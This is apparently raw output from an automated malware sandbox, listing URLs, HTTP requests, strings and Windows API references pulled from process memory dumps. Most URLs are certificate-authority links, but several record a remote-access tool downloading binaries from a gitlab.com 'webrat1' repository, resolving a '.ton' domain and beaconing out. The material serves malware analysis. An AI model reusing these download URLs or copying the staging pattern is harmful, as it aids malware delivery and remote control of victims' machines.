"http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://policy.camerfirma.com0+,t" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://policy.camerfirma.com0i$y'o)yrez3__68vr1[g-hlp]iskc" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpmarizona1scottsdale1%0" - Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpm" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://policy.camerfirma.com0+,t" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://policy.camerfirma.com0i$y'o)yrez3__68vr1[g-hlp]iskc" - Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpmc:\program" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0&" - Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006948.00000000.196737.02ED0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006948.00000000.196737.02ED0000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006948.00000000.196737.71641000.00000020.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0digicert" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found URL "https://ck-cs.cloudflare.comh-" - Source: "00000000-00006948.00000001.197689.073DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0rmani0gxn0gxn$%'%d\(q" - Source: "00000000-00006948.00000001.197689.081AB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006948.00000001.197689.0822A000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "https://challenges.cloudflare.com;" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "https://challenges.cloudflare.com" - Source: "00000000-00006948.00000001.197689.082A3000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00007336.00000000.203342.04400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00007336.00000000.203342.04400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00007336.00000000.203342.04400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00007336.00000000.203342.04400000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00007336.00000000.203342.04400000.00000004.mdmp")58:T477,GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 354 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: google.com User-Agent: Go-http-client/1.1 Content-Length: 69 Content-Type: application/octet-stream Accept-Encoding: gzip GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive GET /users/sign_in HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1 59:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp")5a:T45b,Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found string "B+ncalrpc:[OLE02FA1D901C9D9D05F4E1C3CA80B3]" (Indicator: "ncalrpc"; Source: "00000000-00000992.00000001.197869.03BC7000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp") Found string "+ncalrpc:[OLEC45EA6E9BFB0A0856EED118B6231]" (Indicator: "ncalrpc"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006948.00000001.197689.08102000.00000004.mdmp") Found string "+ncalrpc:[OLE02FA1D901C9D9D05F4E1C3CA80B3]" (Indicator: "ncalrpc"; Source: "00000000-00006948.00000001.197689.08102000.00000004.mdmp")5b:T1790,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "" 